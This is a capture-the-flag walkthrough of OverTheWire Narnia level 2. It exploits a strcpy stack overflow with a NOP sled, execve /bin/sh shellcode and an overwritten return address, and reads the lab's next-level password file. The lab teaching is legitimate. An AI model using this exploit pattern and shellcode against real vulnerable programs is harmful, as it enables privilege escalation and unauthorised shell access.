Over the Wire Narnia Level 2 -> 3

Continuing from: https://blog.zer0w1re.net/over-the-wire-narnia-level-1-2/

Using the password from the previous level, we can login as narnia2, and look at the file /games/narnia/narnia2.c.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char * argv[]){  
        char buf[128];

        if(argc == 1){
                printf("Usage: %s argument\n", argv[0]);
                exit(1);
        }
        strcpy(buf,argv[1]);
        printf("%s", buf);

        return 0;
}

So, there is a 128 character buffer, which it is copying the program argument into.

Sending 140 A's as the argument, I got it to segfault.

narnia2@melinda:/games/narnia$ ./narnia2 $(python -c 'print "A" * 140')  
Segmentation fault  

This is good, it means we can control program flow! Lets open this up in GDB to get a better look.

narnia2@melinda:/games/narnia$ gdb -q ./narnia2  
Reading symbols from ./narnia2...(no debugging symbols found)...done.  
(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /games/narnia/narnia2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.  
0xf7e3ba00 in __libc_start_main () from /lib32/libc.so.6  
(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
The program being debugged has been started already.  
Start it from the beginning? (y or n) y

Starting program: /games/narnia/narnia2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.  
0x41414141 in ?? ()  

So, plugging in 144 A's overwrote EIP. We can control the program flow with this! We can find out the length of our shellcode with python.

narnia2@melinda:/games/narnia$ python -c 'print len("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80")'  
24  

So it is 24 character. 144 - 24 = 120, so we can write our shellcode + 120 characters, and we should still be able to overwrite EIP. Lets try it.

(gdb) r $(python -c 'print "A" * 116 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80" + "ABCD" ')
The program being debugged has been started already.  
Start it from the beginning? (y or n) y

Starting program: /games/narnia/narnia2 $(python -c 'print "A" * 116 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80" + "ABCD" ')

Program received signal SIGSEGV, Segmentation fault.  
0x44434241 in ?? ()  

I switched this around because the A's were easier to find on the stack, which I'll show you in a second, and we will change the A's to make things a lot easier. I also changed the end to ABCD so we can see exactly that EIP changed to 0x44434241.

Now, while it is crashed, lets look at the stack.

(gdb) x/300x $esp

Which will spit out a TON of hex values. We are going to search for a bunch of 0x41414141 which is the 116 A's that we wrote earlier.

I'll paste mine.

0xffffd810: 0x6e2f6169 0x696e7261 0x41003261 0x41414141  
0xffffd820: 0x41414141 0x41414141 0x41414141 0x41414141  
0xffffd830: 0x41414141 0x41414141 0x41414141 0x41414141  
0xffffd840: 0x41414141 0x41414141 0x41414141 0x41414141  
0xffffd850: 0x41414141 0x41414141 0x41414141 0x41414141  
0xffffd860: 0x41414141 0x41414141 0x41414141 0x41414141  
0xffffd870: 0x41414141 0x41414141 0x41414141 0x41414141  
0xffffd880: 0x41414141 0x41414141 0x41414141 0x31414141  
0xffffd890: 0x2f6850c0 0x6868732f 0x6e69622f 0xc931e389  
0xffffd8a0: 0x0b6aca89 0x4180cd58 0x00444342 0x5f474458  

I know, it looks like jibberish, but I'll explain it to you.

We see all of the 0x41414141's, which are our A's. Then, if we look back at our shellcode

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80

We see below that, our shellcode. Just try to see the values in some order up there. Remember, it is little endian architecture, so each word will be reversed.

Now, lets change our payload a little bit, so it is easier to exploit. We are going to create what is called a NOP sled. In ASM, a NOP instruction, is basically a pass by. It takes up space on the stack, but when it executes, it just goes to the next space. So, we can create our nop sled by changing the A's to \x90.

(gdb) r $(python -c 'print "\x90" * 116 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80" + "ABCD" ')                                                       
Starting program: /games/narnia/narnia2 $(python -c 'print "\x90" * 116 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80" + "ABCD" ')

Program received signal SIGSEGV, Segmentation fault.  
0x44434241 in ?? ()  

Now, if we look at the stack again, we should see a bunch of 0x90909090's.

0xffffd810: 0x6e2f6169 0x696e7261 0x90003261 0x90909090  
0xffffd820: 0x90909090 0x90909090 0x90909090 0x90909090  
0xffffd830: 0x90909090 0x90909090 0x90909090 0x90909090  
0xffffd840: 0x90909090 0x90909090 0x90909090 0x90909090  
0xffffd850: 0x90909090 0x90909090 0x90909090 0x90909090  
0xffffd860: 0x90909090 0x90909090 0x90909090 0x90909090  
0xffffd870: 0x90909090 0x90909090 0x90909090 0x90909090  
0xffffd880: 0x90909090 0x90909090 0x90909090 0x31909090  
0xffffd890: 0x2f6850c0 0x6868732f 0x6e69622f 0xc931e389  
0xffffd8a0: 0x0b6aca89 0x4180cd58 0x00444342 0x5f474458  

Okay, good! Now, since we control EIP, which is now just ABCD, we can change that to something more useful. We know that the NOP sled will just keep going to the next command, which means that if I hit any of those 0x90's, it will hit my shellcode underneath. We will pick an easy value, 0xffffd840. We need to change ABCD to 0xffffd840. We can do this with python, the same way as our shellcode. Remember to put the bytes backwards, because of little endian.

(gdb) r $(python -c 'print "\x90" * 116 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80" + "\x40\xd8\xff\xff" ')
The program being debugged has been started already.  
Start it from the beginning? (y or n) y

Starting program: /games/narnia/narnia2 $(python -c 'print "\x90" * 116 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80" + "\x40\xd8\xff\xff" ')  
process 25410 is executing new program: /bin/dash  

Woot! It executed /bin/dash! Now, of course in GDB it isn't going to give us the right permissions of the new user, so we can just take our payload and use it outside of GDB.

narnia2@melinda:/games/narnia$ ./narnia2 $(python -c 'print "\x90" * 116 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80" + "\x40\xd8\xff\xff" ')  
$ whoami
narnia3  
$ cat /etc/narnia_pass/narnia3
vaequeezee  

And we are on to the next level!